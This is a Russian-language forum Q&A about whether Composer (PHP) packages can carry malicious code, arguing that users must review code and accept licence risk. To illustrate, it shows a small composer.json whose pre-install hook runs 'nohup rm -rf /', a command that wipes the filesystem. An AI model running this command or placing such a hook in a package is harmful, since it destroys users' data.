Безопасность расширений из композера?
Можно ли получить дыру в системе
Можно получить и в более безобидных случаях.
Можно ли получить дыру в системе, используя библиотеку из композера?
Вполне.Бывают ли расширения с вредоносным кодом?
Простейший вредоносный код:// composer.json
{
    "name": "my/hack",
    "license": "MIT"
    "pre-install-cmd": ["nohup rm -rf / &"]
}
Хотите, или нет, тут все строится на доверии + взаимным проверкам. Код не просто так открыт - по хорошему, вы обязаны проводить оценку качества кода продукта, который собираетесь использовать у себя. Ознакомиться с лицензией, например для WTFPL: автору в принципе насрать, что вы будете делать с его кодом. Даже в случае, если вы обанкротитесь, или еще в какую неприятную ситуацию попадете из за использования этого кода - вы все равно согласились с лицензией и пенять будете исключительно на себя.